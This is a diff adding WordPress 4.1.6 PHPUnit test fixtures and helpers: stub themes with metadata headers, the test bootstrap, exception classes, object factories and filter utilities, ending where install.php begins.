Index: /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/style.css	(revision 33402)
@@ -0,0 +1,11 @@
+/*  
+Theme Name: Page Template Theme
+Theme URI: http://example.org/
+Description: An example theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php	(revision 33402)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Sub Dir 
+ */
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-header.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-header.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-header.php	(revision 33402)
@@ -0,0 +1,1 @@
+<?php // Template Name: This Template Header Is On One Line ?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-top-level.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-top-level.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/template-top-level.php	(revision 33402)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Top Level 
+ */
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/functions.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/index.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/sandbox/style.css	(revision 33402)
@@ -0,0 +1,11 @@
+/*
+THEME NAME: Sandbox
+THEME URI: http://www.plaintxt.org/themes/sandbox/
+DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins.
+VERSION: 0.6.1-wpcom
+AUTHOR: <a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>
+AUTHOR URI:
+
+  This is a dummy theme for testing the above metadata.
+*/
+
Index: /tags/4.1.6/tests/phpunit/data/themedir1/stylesheetonly/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/stylesheetonly/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/stylesheetonly/style.css	(revision 33402)
@@ -0,0 +1,14 @@
+/*
+Theme Name: Stylesheet Only
+Theme URI: http://www.example.com/blog/
+Description: A three-column widget-ready theme in dark blue.
+Version: 1.0
+Author: Henry Crun
+Author URI: http://www.example.com/
+
+template: sandbox
+
+
+ This is a dummy theme for testing the above metadata.
+*/
+
Index: /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php	(revision 33402)
@@ -0,0 +1,1 @@
+<?php
Index: /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css	(revision 33402)
@@ -0,0 +1,11 @@
+/*
+Theme Name: Theme with Spaces in the Directory
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/functions.php	(revision 33402)
@@ -0,0 +1,3 @@
+<?php
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/index.php	(revision 33402)
@@ -0,0 +1,3 @@
+<?php
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/subdir/theme2/style.css	(revision 33402)
@@ -0,0 +1,11 @@
+/*  
+Theme Name: My Subdir Theme
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/functions.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/index.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1-dupe/style.css	(revision 33402)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: This theme has the same Theme Name as theme1
+Version: 1.4
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1/functions.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1/index.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/theme1/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/theme1/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/theme1/style.css	(revision 33402)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: An example theme
+Version: 1.3
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/4.1.6/tests/phpunit/includes/bootstrap.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/bootstrap.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/bootstrap.php	(revision 33402)
@@ -0,0 +1,167 @@
+<?php
+/**
+ * Installs WordPress for running the tests and loads WordPress and the test libraries
+ */
+
+
+$config_file_path = dirname( dirname( __FILE__ ) );
+if ( ! file_exists( $config_file_path . '/wp-tests-config.php' ) ) {
+	// Support the config file from the root of the develop repository.
+	if ( basename( $config_file_path ) === 'phpunit' && basename( dirname( $config_file_path ) ) === 'tests' )
+		$config_file_path = dirname( dirname( $config_file_path ) );
+}
+$config_file_path .= '/wp-tests-config.php';
+
+/*
+ * Globalize some WordPress variables, because PHPUnit loads this file inside a function
+ * See: https://github.com/sebastianbergmann/phpunit/issues/325
+ */
+global $wpdb, $current_site, $current_blog, $wp_rewrite, $shortcode_tags, $wp, $phpmailer;
+
+if ( !is_readable( $config_file_path ) ) {
+	die( "ERROR: wp-tests-config.php is missing! Please use wp-tests-config-sample.php to create a config file.\n" );
+}
+require_once $config_file_path;
+
+define( 'WP_TESTS_TABLE_PREFIX', $table_prefix );
+define( 'DIR_TESTDATA', dirname( __FILE__ ) . '/../data' );
+
+if ( ! defined( 'WP_TESTS_FORCE_KNOWN_BUGS' ) )
+	define( 'WP_TESTS_FORCE_KNOWN_BUGS', false );
+
+// Cron tries to make an HTTP request to the blog, which always fails, because tests are run in CLI mode only
+define( 'DISABLE_WP_CRON', true );
+
+define( 'WP_MEMORY_LIMIT', -1 );
+define( 'WP_MAX_MEMORY_LIMIT', -1 );
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+if ( "1" == getenv( 'WP_MULTISITE' ) ||
+	( defined( 'WP_TESTS_MULTISITE') && WP_TESTS_MULTISITE ) ) {
+	$multisite = true;
+} else {
+	$multisite = false;
+}
+
+// Override the PHPMailer
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer();
+
+system( WP_PHP_BINARY . ' ' . escapeshellarg( dirname( __FILE__ ) . '/install.php' ) . ' ' . escapeshellarg( $config_file_path ) . ' ' . $multisite );
+
+if ( $multisite ) {
+	echo "Running as multisite..." . PHP_EOL;
+	define( 'MULTISITE', true );
+	define( 'SUBDOMAIN_INSTALL', false );
+	$GLOBALS['base'] = '/';
+} else {
+	echo "Running as single site... To run multisite, use -c tests/phpunit/multisite.xml" . PHP_EOL;
+}
+unset( $multisite );
+
+require_once dirname( __FILE__ ) . '/functions.php';
+
+$GLOBALS['_wp_die_disabled'] = false;
+// Allow tests to override wp_die
+tests_add_filter( 'wp_die_handler', '_wp_die_handler_filter' );
+
+// Preset WordPress options defined in bootstrap file.
+// Used to activate themes, plugins, as well as  other settings.
+if(isset($GLOBALS['wp_tests_options'])) {
+	function wp_tests_options( $value ) {
+		$key = substr( current_filter(), strlen( 'pre_option_' ) );
+		return $GLOBALS['wp_tests_options'][$key];
+	}
+
+	foreach ( array_keys( $GLOBALS['wp_tests_options'] ) as $key ) {
+		tests_add_filter( 'pre_option_'.$key, 'wp_tests_options' );
+	}
+}
+
+// Load WordPress
+require_once ABSPATH . '/wp-settings.php';
+
+// Delete any default posts & related data
+_delete_all_posts();
+
+require dirname( __FILE__ ) . '/testcase.php';
+require dirname( __FILE__ ) . '/testcase-xmlrpc.php';
+require dirname( __FILE__ ) . '/testcase-ajax.php';
+require dirname( __FILE__ ) . '/testcase-canonical.php';
+require dirname( __FILE__ ) . '/exceptions.php';
+require dirname( __FILE__ ) . '/utils.php';
+
+/**
+ * A child class of the PHP test runner.
+ *
+ * Used to access the protected longOptions property, to parse the arguments
+ * passed to the script.
+ *
+ * If it is determined that phpunit was called with a --group that corresponds
+ * to an @ticket annotation (such as `phpunit --group 12345` for bugs marked
+ * as #WP12345), then it is assumed that known bugs should not be skipped.
+ *
+ * If WP_TESTS_FORCE_KNOWN_BUGS is already set in wp-tests-config.php, then
+ * how you call phpunit has no effect.
+ */
+class WP_PHPUnit_Util_Getopt extends PHPUnit_Util_Getopt {
+	protected $longOptions = array(
+	  'exclude-group=',
+	  'group=',
+	);
+	function __construct( $argv ) {
+		array_shift( $argv );
+		$options = array();
+		while ( list( $i, $arg ) = each( $argv ) ) {
+			try {
+				if ( strlen( $arg ) > 1 && $arg[0] === '-' && $arg[1] === '-' ) {
+					PHPUnit_Util_Getopt::parseLongOption( substr( $arg, 2 ), $this->longOptions, $options, $argv );
+				}
+			}
+			catch ( PHPUnit_Framework_Exception $e ) {
+				// Enforcing recognized arguments or correctly formed arguments is
+				// not really the concern here.
+				continue;
+			}
+		}
+
+		$skipped_groups = array(
+			'ajax' => true,
+			'ms-files' => true,
+			'external-http' => true,
+		);
+
+		foreach ( $options as $option ) {
+			switch ( $option[0] ) {
+				case '--exclude-group' :
+					foreach ( $skipped_groups as $group_name => $skipped ) {
+						$skipped_groups[ $group_name ] = false;
+					}
+					continue 2;
+				case '--group' :
+					$groups = explode( ',', $option[1] );
+					foreach ( $groups as $group ) {
+						if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) ) {
+							WP_UnitTestCase::forceTicket( $group );
+						}
+					}
+
+					foreach ( $skipped_groups as $group_name => $skipped ) {
+						if ( in_array( $group_name, $groups ) ) {
+							$skipped_groups[ $group_name ] = false;
+						}
+					}
+					continue 2;
+			}
+		}
+
+		$skipped_groups = array_filter( $skipped_groups );
+		foreach ( $skipped_groups as $group_name => $skipped ) {
+			echo sprintf( 'Not running %1$s tests. To execute these, use --group %1$s.', $group_name ) . PHP_EOL;
+		}
+    }
+}
+new WP_PHPUnit_Util_Getopt( $_SERVER['argv'] );
Index: /tags/4.1.6/tests/phpunit/includes/exceptions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/exceptions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/exceptions.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+
+class WP_Tests_Exception extends PHPUnit_Framework_Exception {
+
+}
+
+/**
+ * General exception for wp_die()
+ */
+class WPDieException extends Exception {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means there was an error (no output, and a call to wp_die)
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieStopException extends WPDieException {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means execution of the ajax function should be halted, but the unit
+ * test can continue.  The function finished normally and there was not an
+ * error (output happened, but wp_die was called to end execution)  This is
+ * used with WP_Ajax_Response::send
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieContinueException extends WPDieException {}
Index: /tags/4.1.6/tests/phpunit/includes/factory.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/factory.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/factory.php	(revision 33402)
@@ -0,0 +1,390 @@
+<?php
+
+class WP_UnitTest_Factory {
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Post
+	 */
+	public $post;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Attachment
+	 */
+	public $attachment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Comment
+	 */
+	public $comment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_User
+	 */
+	public $user;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $term;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $category;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $tag;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Blog
+	 */
+	public $blog;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Network
+	 */
+	public $network;
+
+	function __construct() {
+		$this->post = new WP_UnitTest_Factory_For_Post( $this );
+		$this->attachment = new WP_UnitTest_Factory_For_Attachment( $this );
+		$this->comment = new WP_UnitTest_Factory_For_Comment( $this );
+		$this->user = new WP_UnitTest_Factory_For_User( $this );
+		$this->term = new WP_UnitTest_Factory_For_Term( $this );
+		$this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' );
+		$this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' );
+		if ( is_multisite() ) {
+			$this->blog = new WP_UnitTest_Factory_For_Blog( $this );
+			$this->network = new WP_UnitTest_Factory_For_Network( $this );
+		}
+	}
+}
+
+class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'post_status' => 'publish',
+			'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ),
+			'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ),
+			'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ),
+			'post_type' => 'post'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_post( $args );
+	}
+
+	function update_object( $post_id, $fields ) {
+		$fields['ID'] = $post_id;
+		return wp_update_post( $fields );
+	}
+
+	function get_object_by_id( $post_id ) {
+		return get_post( $post_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post {
+
+	function create_object( $file, $parent = 0, $args = array() ) {
+		return wp_insert_attachment( $args, $file, $parent );
+	}
+}
+
+class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ),
+			'user_pass' => 'password',
+			'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ),
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_user( $args );
+	}
+
+	function update_object( $user_id, $fields ) {
+		$fields['ID'] = $user_id;
+		return wp_update_user( $fields );
+	}
+
+	function get_object_by_id( $user_id ) {
+		return new WP_User( $user_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ),
+			'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ),
+			'comment_approved' => 1,
+			'comment_content' => 'This is a comment'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_comment( $this->addslashes_deep( $args ) );
+	}
+
+	function update_object( $comment_id, $fields ) {
+		$fields['comment_ID'] = $comment_id;
+		return wp_update_comment( $this->addslashes_deep( $fields ) );
+	}
+
+	function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) {
+		$args['comment_post_ID'] = $post_id;
+		return $this->create_many( $count, $args, $generation_definitions );
+	}
+
+	function get_object_by_id( $comment_id ) {
+		return get_comment( $comment_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		global $current_site, $base;
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'domain' => $current_site->domain,
+			'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ),
+			'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ),
+			'site_id' => $current_site->id,
+		);
+	}
+
+	function create_object( $args ) {
+		global $wpdb;
+		$meta = isset( $args['meta'] ) ? $args['meta'] : array();
+		$user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id();
+		// temp tables will trigger db errors when we attempt to reference them as new temp tables
+		$suppress = $wpdb->suppress_errors();
+		$blog = wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] );
+		$wpdb->suppress_errors( $suppress );
+		return $blog;
+	}
+
+	function update_object( $blog_id, $fields ) {}
+
+	function get_object_by_id( $blog_id ) {
+		return get_blog_details( $blog_id, false );
+	}
+}
+
+
+class WP_UnitTest_Factory_For_Network extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'domain' => WP_TESTS_DOMAIN,
+			'title' => new WP_UnitTest_Generator_Sequence( 'Network %s' ),
+			'path' => new WP_UnitTest_Generator_Sequence( '/testpath%s/' ),
+			'network_id' => new WP_UnitTest_Generator_Sequence( '%s', 2 ),
+			'subdomain_install' => false,
+		);
+	}
+
+	function create_object( $args ) {
+		require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+
+		if ( ! isset( $args['user'] ) ) {
+			$email = WP_TESTS_EMAIL;
+		} else {
+			$email = get_userdata( $args['user'] )->user_email;
+		}
+
+		populate_network( $args['network_id'], $args['domain'], $email, $args['title'], $args['path'], $args['subdomain_install'] );
+		return $args['network_id'];
+	}
+
+	function update_object( $network_id, $fields ) {}
+
+	function get_object_by_id( $network_id ) {
+		return wp_get_network( $network_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing {
+
+	private $taxonomy;
+	const DEFAULT_TAXONOMY = 'post_tag';
+
+	function __construct( $factory = null, $taxonomy = null ) {
+		parent::__construct( $factory );
+		$this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY;
+		$this->default_generation_definitions = array(
+			'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ),
+			'taxonomy' => $this->taxonomy,
+			'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ),
+		);
+	}
+
+	function create_object( $args ) {
+		$args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args );
+		$term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args );
+		if ( is_wp_error( $term_id_pair ) )
+			return $term_id_pair;
+		return $term_id_pair['term_id'];
+	}
+
+	function update_object( $term, $fields ) {
+		$fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields );
+		if ( is_object( $term ) )
+			$taxonomy = $term->taxonomy;
+		$term_id_pair = wp_update_term( $term, $taxonomy, $fields );
+		return $term_id_pair['term_id'];
+	}
+
+	function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) {
+		return wp_set_post_terms( $post_id, $terms, $taxonomy, $append );
+	}
+
+	function get_object_by_id( $term_id ) {
+		return get_term( $term_id, $this->taxonomy );
+	}
+}
+
+abstract class WP_UnitTest_Factory_For_Thing {
+
+	var $default_generation_definitions;
+	var $factory;
+
+	/**
+	 * Creates a new factory, which will create objects of a specific Thing
+	 *
+	 * @param object $factory Global factory that can be used to create other objects on the system
+	 * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values
+	 * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence},
+	 * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}.
+	 */
+	function __construct( $factory, $default_generation_definitions = array() ) {
+		$this->factory = $factory;
+		$this->default_generation_definitions = $default_generation_definitions;
+	}
+
+	abstract function create_object( $args );
+	abstract function update_object( $object, $fields );
+
+	function create( $args = array(), $generation_definitions = null ) {
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		$generated_args = $this->generate_args( $args, $generation_definitions, $callbacks );
+		$created = $this->create_object( $generated_args );
+		if ( !$created || is_wp_error( $created ) )
+			return $created;
+
+		if ( $callbacks ) {
+			$updated_fields = $this->apply_callbacks( $callbacks, $created );
+			$save_result = $this->update_object( $created, $updated_fields );
+			if ( !$save_result || is_wp_error( $save_result ) )
+				return $save_result;
+		}
+		return $created;
+	}
+
+	function create_and_get( $args = array(), $generation_definitions = null ) {
+		$object_id = $this->create( $args, $generation_definitions );
+		return $this->get_object_by_id( $object_id );
+	}
+
+	abstract function get_object_by_id( $object_id );
+
+	function create_many( $count, $args = array(), $generation_definitions = null ) {
+		$results = array();
+		for ( $i = 0; $i < $count; $i++ ) {
+			$results[] = $this->create( $args, $generation_definitions );
+		}
+		return $results;
+	}
+
+	function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) {
+		$callbacks = array();
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		foreach( array_keys( $generation_definitions ) as $field_name ) {
+			if ( !isset( $args[$field_name] ) ) {
+				$generator = $generation_definitions[$field_name];
+				if ( is_scalar( $generator ) )
+					$args[$field_name] = $generator;
+				elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) {
+					$callbacks[$field_name] = $generator;
+				} elseif ( is_object( $generator ) )
+					$args[$field_name] = $generator->next();
+				else
+					return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' );
+			}
+		}
+		return $args;
+	}
+
+	function apply_callbacks( $callbacks, $created ) {
+		$updated_fields = array();
+		foreach( $callbacks as $field_name => $generator ) {
+			$updated_fields[$field_name] = $generator->call( $created );
+		}
+		return $updated_fields;
+	}
+
+	function callback( $function ) {
+		return new WP_UnitTest_Factory_Callback_After_Create( $function );
+	}
+
+	function addslashes_deep($value) {
+		if ( is_array( $value ) ) {
+			$value = array_map( array( $this, 'addslashes_deep' ), $value );
+		} elseif ( is_object( $value ) ) {
+			$vars = get_object_vars( $value );
+			foreach ($vars as $key=>$data) {
+				$value->{$key} = $this->addslashes_deep( $data );
+			}
+		} elseif ( is_string( $value ) ) {
+			$value = addslashes( $value );
+		}
+
+		return $value;
+	}
+
+}
+
+class WP_UnitTest_Generator_Sequence {
+	var $next;
+	var $template_string;
+
+	function __construct( $template_string = '%s', $start = 1 ) {
+		$this->next = $start;
+		$this->template_string = $template_string;
+	}
+
+	function next() {
+		$generated = sprintf( $this->template_string , $this->next );
+		$this->next++;
+		return $generated;
+	}
+}
+
+class WP_UnitTest_Factory_Callback_After_Create {
+	var $callback;
+
+	function __construct( $callback ) {
+		$this->callback = $callback;
+	}
+
+	function call( $object ) {
+		return call_user_func( $this->callback, $object );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/functions.php	(revision 33402)
@@ -0,0 +1,105 @@
+<?php
+
+// For adding hooks before loading WP
+function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	global $wp_filter, $merged_filters;
+
+	$idx = _test_filter_build_unique_id($tag, $function_to_add, $priority);
+	$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+	unset( $merged_filters[ $tag ] );
+	return true;
+}
+
+function _test_filter_build_unique_id($tag, $function, $priority) {
+	global $wp_filter;
+	static $filter_id_count = 0;
+
+	if ( is_string($function) )
+		return $function;
+
+	if ( is_object($function) ) {
+		// Closures are currently implemented as objects
+		$function = array( $function, '' );
+	} else {
+		$function = (array) $function;
+	}
+
+	if (is_object($function[0]) ) {
+		return spl_object_hash($function[0]) . $function[1];
+	} else if ( is_string($function[0]) ) {
+		// Static Calling
+		return $function[0].$function[1];
+	}
+}
+
+function _delete_all_posts() {
+	global $wpdb;
+
+	$all_posts = $wpdb->get_col("SELECT ID from {$wpdb->posts}");
+	if ($all_posts) {
+		foreach ($all_posts as $id)
+			wp_delete_post( $id, true );
+	}
+}
+
+class Basic_Object {
+	private $foo = 'bar';
+
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	private function callMe() {
+		return 'maybe';
+	}
+}
+
+class Basic_Subclass extends Basic_Object {}
+
+function _wp_die_handler( $message, $title = '', $args = array() ) {
+	if ( !$GLOBALS['_wp_die_disabled'] ) {
+		_wp_die_handler_txt( $message, $title, $args);
+	} else {
+		//Ignore at our peril
+	}
+}
+
+function _disable_wp_die() {
+	$GLOBALS['_wp_die_disabled'] = true;
+}
+
+function _enable_wp_die() {
+	$GLOBALS['_wp_die_disabled'] = false;
+}
+
+function _wp_die_handler_filter() {
+	return '_wp_die_handler';
+}
+
+function _wp_die_handler_txt( $message, $title, $args ) {
+	echo "\nwp_die called\n";
+	echo "Message : $message\n";
+	echo "Title : $title\n";
+	if ( ! empty( $args ) ) {
+		echo "Args: \n";
+		foreach( $args as $k => $v ){
+			echo "\t $k : $v\n";
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/install.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/install.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/install.php	(revision 33402)
@@ -0,0 +1,60 @@
+<?php
+/**
